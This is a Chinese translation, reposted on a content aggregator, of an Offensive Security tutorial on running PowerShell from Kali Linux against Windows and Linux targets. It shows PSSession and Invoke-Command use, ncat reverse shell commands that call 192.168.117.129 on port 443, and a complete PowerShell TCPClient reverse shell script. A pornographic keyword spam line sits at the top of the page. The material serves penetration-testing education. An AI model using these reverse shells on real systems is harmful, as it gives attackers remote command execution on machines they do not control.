日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > linux >内容正文

linux

kali linux超级用户_如何优雅的在Linux上使用Powershell]

發(fā)布時間:2023/12/9 linux 48 豆豆
生活随笔 收集整理的這篇文章主要介紹了 kali linux超级用户_如何优雅的在Linux上使用Powershell] 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
點擊上方“藍(lán)字”關(guān)注我們吧!

譯文聲明
本文是翻譯文章,文章原作者 TJ Null

文章來源:https://www.offensive-security.com
原文地址:

https://www.offensive-security.com/offsec/kali-linux-powershell-pentesting/

譯文僅供參考,具體內(nèi)容表達(dá)以及含義原文為準(zhǔn)。

前言

在最近的幾年中,PowerShell顯然已經(jīng)成為了一種功能強(qiáng)大的腳本語言,它是運行在windows機(jī)器上實現(xiàn)系統(tǒng)和應(yīng)用程序管理自動化的命令行腳本環(huán)境。不僅如此,微軟還推出了Powershell Core,可以跨平臺使用,支持 Linux 和 Mac。

在Linux上使用PowerShell可以帶來諸多好處,例如:
?可以在PowerShell中編寫和調(diào)試腳本
?連接到Windows目標(biāo)靶機(jī)
?傳輸文件

但是目前,PowerShell在Linux平臺上功能還不夠完善,例如:
?所支持的cmdlet不完善
?不能夠在PowerShell中直接使用sudo或exec?不支持WMI或CIM

在本文中,我們將展示如何在Kali上建立PSSession到我們的靶機(jī)(Windows和Linux)。在Powshell中,PSSessioncmdlet允許我們創(chuàng)建到本地或遠(yuǎn)程計算機(jī)的持久連接。通過PSSession我們可以實現(xiàn)在加密傳輸內(nèi)容的同時與目標(biāo)主機(jī)進(jìn)行交互。(注意:本文中使用的命令已在Windows10x64 Pro,2004版和Ubuntu20.04LTS上進(jìn)行了測試。)

在WINDOWS上獲取PSSESSION

要想與PSSession進(jìn)行交互,首先在Windows我們需要啟用PSremoting并具有訪問系統(tǒng)的憑據(jù)。當(dāng)您啟用PSRemoting時,它使用默認(rèn)的HTTP 5985端口進(jìn)行連接。WS-Management協(xié)議會幫助我們加密通過網(wǎng)絡(luò)傳輸?shù)乃?Windows PowerShell 內(nèi)容。在本次測試中,使用默認(rèn)選項即可。在Kali上首次使用Powshell時,需要安裝一個單獨的軟件包,并且需要更改一些配置才能獲取PSSession。我們需要安裝gss ntlmssp,并在PowerShell目錄中創(chuàng)建兩個符號鏈接,以確保PowerShell中的WSman模塊正常工作。默認(rèn)情況下,我們的PowerShell位于以下路徑:

/ opt / Microsoft / powershell / 7

切換到到上面的目錄。在該目錄中,添加符號鏈接:

ln -s /usr/lib/x86_64-linux-gnu/libssl.so.1.0.2 libssl.so.1.0.0ln?-s?/usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.2?libcrypto?.so.1.0.0準(zhǔn)備工作已經(jīng)完成,讓我們打開kali系統(tǒng)上Powshell終端,鍵入以下命令來創(chuàng)建一個新的PSSession。$offsecsession=New-PSSession-ComputerName-Authentication Negotiate -Credential
使用正確的憑據(jù),我們就可以實現(xiàn)在PSSession中與Windows目標(biāo)進(jìn)行交互。運行結(jié)果如下圖所示:

創(chuàng)建PSSession后,我們可以使用Invoke-Command的Session參數(shù)在PSSession中運行命令或腳本。我們還可以通過Invoke-Command命令實現(xiàn)與多臺主機(jī)進(jìn)行交互。以下是一個演示示例,在多臺主機(jī)上執(zhí)行hostname命令:Invoke-Command -Session $offsecsession -ScriptBlock {hostname}

通過這種方法,我們就可以在PSSession后臺執(zhí)行命令。ScriptBlock還允許我們同時執(zhí)行多條命令,只需要使用‘;’將每條命令隔開即可。下面是演示示例:

Invoke-Command -Session $offsecsession -ScriptBlock{hostname; whoami;whoami/priv}

命令回顯:

如上圖所示,我們可以獲取系統(tǒng)的主機(jī)名,當(dāng)前域和用戶的名稱,以及當(dāng)前用戶的安全權(quán)限。接下來,讓我們看一下如何在Linux上獲得PSSession。

在LINUX系統(tǒng)上獲取PSSESSION

PSSession不僅局限于Windows,在Linux上運行Powershell同樣允許我們在Linux靶機(jī)中啟動PSSession。我們需要先運行ssh服務(wù),同時修改sshd_config文件:?PasswordAuthentication yes?Optional: PubkeyAuthentication yes
在Ubuntu上鍵入以下命令:Subsystem powershell /snap/bin/pwsh --sshs -NoLogo -NoProfile

接著我們保存對sshd_config的修改,并且重啟ssh服務(wù)。這樣我們便可以在Linux靶機(jī)上獲得PSSession:

我們還可以通過“ Invoke-Command” cmdlet在PSSession中運行Bash命令或PowerShell命令。

Tips:在Linux并非支持所有的cmdlet命令。但是隨著PowerShell的不斷更新與完善,支持cmdlet的指令集也會不斷更新。目前我們已經(jīng)實現(xiàn)在Linux靶機(jī)上獲取PSSession,下面讓我們看一下如何使用Powshell在Linux獲取反向shell。

在LINUX上獲取反向SHELL

在滲透測試中,PowerShell還可以進(jìn)行反彈shell的操作。我們可以在靶機(jī)上執(zhí)行二進(jìn)制文件,傳輸文件,讀寫文件。我將在這一小節(jié)中,演示如何通過ncat命令獲取反彈shell。我們使用一個名為Start-Process的cmdlet可以幫助我們達(dá)到目的。下面是一個演示示例:Start-Process/usr/bin/ncat-NoNewWindow-Argumentlist'192.168.117.129 443 -e /usr/bin/sh'

我們使用了Start-Process命令運行了ncat,并向kali回調(diào)了一個shell。我們只需要在kali上保持監(jiān)聽即可。如下圖所示,我們成功的在kali上獲取了一個反向shell:

我們還可以使用pwsh后邊跟上-Command參數(shù),直接在bash中執(zhí)行Powshell命令:pwsh-Command"Start-Process/usr/bin/ncat-NoNewWindow-Argumentlist '192.16.117.129 443 -e /usr/bin/sh'"

運行結(jié)果如下圖所示,我們同樣獲取了一個反彈shell:

簡化操作


我們甚至還可以借助Powshell本身的功能來進(jìn)行反彈shell。腳本如下:$callback = New - Object System.Net.Sockets.TCPClient("IP ADDRESS", PORT);$stream = $callback.GetStream();[byte[]]$bytes = 0..65535|% {0};while (($i = $stream.Read($bytes, 0, $bytes.Length)) - ne 0) {;$data = (New - Object - TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);$sendback = (iex $data 2 > &1 | Out - String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush()};$callback.Close()我們可以把腳本集中放置在一行,并將其保存為文本文件(例如posh.ps1):$callback=New-Object System.Net.Sockets.TCPClient("192.168.117.134",443);$stream=$callback.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne0){;$data=(New-Object-TypeNameSystem.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback +"PS"+(pwd).Path+">";$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$callback.Close()當(dāng)靶機(jī)執(zhí)行此腳本時,同樣可以達(dá)到反彈shell的目的:

我們可以在shell中運行bash或powershell命令:

結(jié)論


如今,powshell已經(jīng)成為了滲透測試中一大利器。本文只是演示了幾個簡單的示例,Powshell功能遠(yuǎn)不僅此。從pentester的角度來看,我們使用了PowerShell拓展了我們后滲透測試的手段。防御者也通過Powershell來檢測攻擊者的行為。后續(xù),我們將繼續(xù)研究PowerShell在linux更多利用手法。

參考文獻(xiàn)

Kali Bug Report
(https://bugs.kali.org/view.php?id=5915)PowerShell (GitHub)
(https://github.com/PowerShell/PowerShell/issues/11374)Invoke-Command (Microsoft)
(https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7)點分享點點贊點在看

總結(jié)

以上是生活随笔為你收集整理的kali linux超级用户_如何优雅的在Linux上使用Powershell]的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。